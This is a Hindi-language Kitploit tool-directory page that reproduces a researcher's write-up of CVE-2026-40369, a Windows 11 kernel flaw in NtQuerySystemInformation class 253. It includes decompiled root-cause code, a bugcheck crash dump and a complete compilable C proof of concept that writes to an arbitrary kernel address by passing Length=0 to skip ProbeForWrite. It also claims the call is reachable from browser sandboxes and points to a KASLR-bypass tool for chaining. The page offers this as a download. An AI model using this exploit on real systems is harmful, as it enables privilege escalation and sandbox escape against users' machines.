Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-40369-EXPLOIT — CVE-2026-40369 के लिए पूर्ण शोषण कोड - एक Windows kernel arbitrary write भेद्यता जो सभी browsers के render process sandbox से browser sandbox escape की अनुमति देती है | Kitploit
उपकरण/GitHubGitHub/orinimron123/cve-2026-40369-exploit
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणबाइनरी शोषण
GitHuborinimron123/cve-2026-40369-exploit

CVE-2026-40369-EXPLOIT

CVE-2026-40369 के लिए पूर्ण शोषण कोड - एक Windows kernel arbitrary write भेद्यता जो सभी browsers के render process sandbox से browser sandbox escape की अनुमति देती है

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
2605843 महीने पहलेKitploit द्वारा समीक्षित

पूरा ब्लॉग - https://pwn2nimron.com/blog

CVE-2026-40369: NtQuerySystemInformation (वर्ग 253) के माध्यम से मनमाना कर्नल पता वृद्धि

सारांश

  • प्रकार: मनमाना कर्नल लेखन (वृद्धि) — विशेषाधिकार वृद्धि आदिम
  • घटक: ntoskrnl.exe — ExpGetProcessInformation
  • ट्रिगर: NtQuerySystemInformation(SystemProcessInformationExtension, kernelAddr, 0, &needed)
  • प्रभाव: किसी भी गैर-विशेषाधिकार प्रक्रिया से मनमाना कर्नल पता वृद्धि (लेखन आदिम)
  • Chrome सैंडबॉक्स से पहुँच योग्य: हाँ (NtQuerySystemInformation अवरुद्ध नहीं है)
  • Windows संस्करण: Windows 11 24H2-25H2
  • शोषण विश्वसनीयता 100% नियतात्मक
  • KASLR बायपास को prefetch टूल के साथ श्रृंखलाबद्ध किया जा सकता है https://github.com/exploits-forsale/prefetch-tool

मूल कारण

ExpGetProcessInformation को ExpQuerySystemInformation द्वारा जानकारी वर्गों 5 (SystemProcessInformation), 0x39, 0x94, 0xFC, और 0xFD (253 = SystemProcessInformationExtension) के लिए बुलाया जाता है।

ExpQuerySystemInformation+0xD7A पर कॉल साइट:

root@kitploit:~
// Cases 5, 0x39, 0x94, 0xFC, 0xFD all share this call:
result = ExpGetProcessInformation((unsigned int *)userBuffer, bufferLength, &returnSize, NULL, infoClass);

जब userBuffer भी कर्नल की ओर इंगित करता है (जैसे, आवश्यक बफर आकार का पता लगाना), तो फ़ंक्शन प्रवेश करता है:

root@kitploit:~
// ExpGetProcessInformation, simplified:
__int64 ExpGetProcessInformation(unsigned int *buffer, unsigned int length, ..., int infoClass)
{
    v91 = buffer;  // = NULL

    if (infoClass == 252) {
        v86 = v91;  // class 252 uses v86
        // ...
    } else {
        v86 = NULL;
        if (infoClass == 253) {
            v95 = v91;  // v95 = NULL (BUG: sanitization for kernel address check!)
            goto LABEL_11;
        }
        // class 5 path - uses v81, doesn't touch v95
    }
    v95 = NULL;  // class 252 path falls through here

LABEL_11:
    // ... process iteration loop ...
    while (NextProcess) {
        if (infoClass == 253) {
            ++*v95;          // CRASH: v95 is Arbitrary Kernel Address
            v95[1] += ...;   // Would also crash
            v95[2] += ...;   // Would also crash
        }
        // class 5/252 paths handle NULL buffer correctly
    }
}

वर्ग 253 के लिए, v95 बफर पॉइंटर (v91 = buffer = NULL) पर बिना किसी NULL जांच के सेट किया जाता है। प्रक्रिया पुनरावृत्ति लूप फिर *v95 पर एक काउंटर बढ़ाने का प्रयास करता है, जिससे कर्नल मोड में NULL पॉइंटर डीरेफरेंस होता है → BSOD।

वर्ग 5 और 252 NULL बफ़र्स को सही ढंग से संभालते हैं क्योंकि वे अलग-अलग चर (v81/v86) का उपयोग करते हैं और डीरेफरेंसिंग से पहले उचित जाँच करते हैं।

क्रैश विवरण

root@kitploit:~
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff800041424344, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
	bit 1 is set if the fault was due to a write, clear if a read.
	bit 3 is set if the processor decided the fault was due to a corrupted PTE.
	bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
	- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
	bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff803a06db22e, If non-zero, the instruction address which referenced the bad memory
	address.
Arg4: 0000000000000002, (reserved)

IP_IN_PAGED_CODE: 
nt!ExpGetProcessInformation+42e
fffff803`a06db22e ff03            inc     dword ptr [rbx]

STACK_TEXT:  
*** WARNING: Unable to verify checksum for poc.exe
Unable to load image C:\Users\vm\poc.exe, Win32 error 0n2
ffffd380`d4dc52f8 fffff803`a01b2d82     : ffffd380`d4dc5378 00000000`00000001 00000000`00000100 fffff803`a02c4801 : nt!DbgBreakPointWithStatus
ffffd380`d4dc5300 fffff803`a01b22ac     : 00000000`00000003 ffffd380`d4dc5460 fffff803`a02c4970 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffd380`d4dc5360 fffff803`a00fba97     : 00000000`00000000 fffff803`9fe46273 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffd380`d4dc5af0 fffff803`9fe29dc0     : 00000000`00000050 ffff8000`41424344 00000000`00000002 ffffd380`d4dc5d90 : nt!KeBugCheckEx+0x107
ffffd380`d4dc5b30 fffff803`9fe16d96     : fffff803`a0bd9680 ffff8000`00000000 ffff8000`41424344 0000007f`fffffff8 : nt!MiSystemFault+0x850
ffffd380`d4dc5c20 fffff803`a02b9ecb     : 00000000`00000000 00000000`0000000f 00000000`00000000 0000000c`00000000 : nt!MmAccessFault+0x646
ffffd380`d4dc5d90 fffff803`a06db22e     : 00000000`00000001 00000000`00000001 00000000`c0000004 00000000`000000fd : nt!KiPageFault+0x38b
ffffd380`d4dc5f20 fffff803`a06dcfbf     : 00000000`00000000 00000000`00000000 ffff8701`f54e4118 00000000`00000000 : nt!ExpGetProcessInformation+0x42e
ffffd380`d4dc6540 fffff803`a06e1061     : 00000000`00001000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ExpQuerySystemInformation+0xd7f
ffffd380`d4dc6aa0 fffff803`a02be355     : 00000285`00b20000 ffff8701`f54e4080 ffff8701`f54e4080 00000000`00000000 : nt!NtQuerySystemInformation+0x91
ffffd380`d4dc6ae0 00007ffd`5bc82154     : 00007ff6`f01c10ef 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 : nt!KiSystemServiceCopyEnd+0x25
000000e8`7679faf8 00007ff6`f01c10ef     : 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 00000285`00da4eb5 : ntdll!NtQuerySystemInformation+0x14
000000e8`7679fb00 00007ff6`f01c1374     : 00000000`00000000 00000285`00da3ab0 00000000`00000000 00000000`00000000 : poc+0x10ef
000000e8`7679fb30 00007ffd`5a5ae8d7     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc+0x1374
000000e8`7679fb70 00007ffd`5bbac48c     : 00000000`00000000 00000000`00000000 000004f0`fffffb30 000004d0`fffffb30 : KERNEL32!BaseThreadInitThunk+0x17
000000e8`7679fba0 00000000`00000000     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2c

पुनरुत्पादन

न्यूनतम पुनरुत्पादक (गैर-विशेषाधिकार, कोई विशेष टोकन आवश्यक नहीं):

root@kitploit:~
/**
 * poc.c — NtQuerySystemInformation class 253 arbitrary kernel increment PoC
 *
 * Demonstrates arbitrary kernel DWORD increment via ProbeForWrite bypass.
 * Passes a kernel address as the output buffer with Length=0, causing
 * ExpGetProcessInformation to increment DWORDs at the target address
 * without validation.
 *
 * Build: cl /W4 /O2 poc.c /Fe:poc.exe /link ntdll.lib
 */

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

typedef long NTSTATUS;

#define SystemProcessInformationExtension 253

typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

int main(void)
{
    PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
        GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");

    if (!pNtQSI) {
        printf("[-] Failed to resolve NtQuerySystemInformation\n");
        return 1;
    }

    PVOID target = (PVOID)0xffff800041424344ULL;

    printf("[*] NtQuerySystemInformation class 253 arbitrary kernel increment PoC\n");
    printf("[*] Target kernel address: %p\n", target);
    printf("[*] Will write:\n");
    printf("      [target+0] += num_processes  (DWORD increment)\n");
    printf("      [target+4] += total_threads  (DWORD add)\n");
    printf("      [target+8] += total_handles  (DWORD add)\n");
    printf("\n");
    printf("[!] This WILL bugcheck if the address is not mapped writable memory.\n");
    printf("[*] Press Enter to trigger...\n");
    getchar();

    ULONG needed = 0;
    NTSTATUS status = pNtQSI(
        SystemProcessInformationExtension,
        target,   /* kernel address — ProbeForWrite skipped because Length=0 */
        0,        /* Length=0 bypasses ProbeForWrite entirely */
        &needed
    );

    printf("[*] NtQuerySystemInformation returned: 0x%08lX\n", status);
    printf("[*] Required length: %lu\n", needed);
    printf("[+] Done. If you see this, the writes succeeded without bugcheck.\n");

    return 0;
}

शोषण क्षमता मूल्यांकन — मनमाना कर्नल लेखन

ProbeForWrite बायपास

ExpQuerySystemInformation डिस्पैच करने से पहले ProbeForWrite(buffer, Length, alignment) को कॉल करता है। Length=0 के साथ ProbeForWrite पूरी तरह से NO-OP है — पूरे फ़ंक्शन बॉडी को if (Length) द्वारा गेट किया गया है।

तो: NtQuerySystemInformation(253, arbitraryKernelAddr, 0, &needed) एक अमान्य कर्नल पॉइंटर को ExpGetProcessInformation में भेजता है।

लेखन आदिम

सिस्टम पर प्रत्येक प्रक्रिया के लिए, फ़ंक्शन निष्पादित करता है:

root@kitploit:~
v95 = userBuffer;  // attacker-controlled pointer, NOT validated for class 253 with Length=0

// For EACH process:
++*v95;              // *(uint32*)(addr+0) += 1
v95[1] += threadCnt; // *(uint32*)(addr+4) += process_active_thread_count
v95[2] += handleCnt; // *(uint32*)(addr+8) += process_handle_count

यह देता है:

  • addr+0: प्रति प्रक्रिया 1 से बढ़ाया गया → कुल = सिस्टम पर प्रक्रियाओं की संख्या
  • addr+4: सभी प्रक्रिया थ्रेड गणनाओं का योग
  • addr+8: सभी प्रक्रिया हैंडल गणनाओं का योग

LENGTH=0 के बावजूद लेखन क्यों होता है

ExpGetProcessInformation if (length < 12) की जाँच करता है और STATUS_INFO_LENGTH_MISMATCH सेट करता है, लेकिन जल्दी वापस नहीं आता। यह त्रुटि स्थिति को संग्रहीत करता है और प्रक्रिया पुनरावृत्ति लूप में जारी रहता है, प्रत्येक प्रक्रिया के लिए v95 पर लेखन निष्पादित करता है, अंत में त्रुटि स्थिति लौटाने से पहले।

Chrome सैंडबॉक्स, Edge, Firefox से काम करता है

पूरी तरह से पहुँच योग्य:

  • NtQuerySystemInformation win32k लॉकडाउन द्वारा अवरुद्ध नहीं है
  • प्रतिबंधित टोकन इस सिस्कॉल को नहीं रोकता
  • अविश्वसनीय अखंडता स्तर इस सिस्कॉल को नहीं रोकता

alt text

श्रेय

Ori Nimron (@orinimron123) द्वारा पाया और लिखा गया

टूल डाउनलोड करें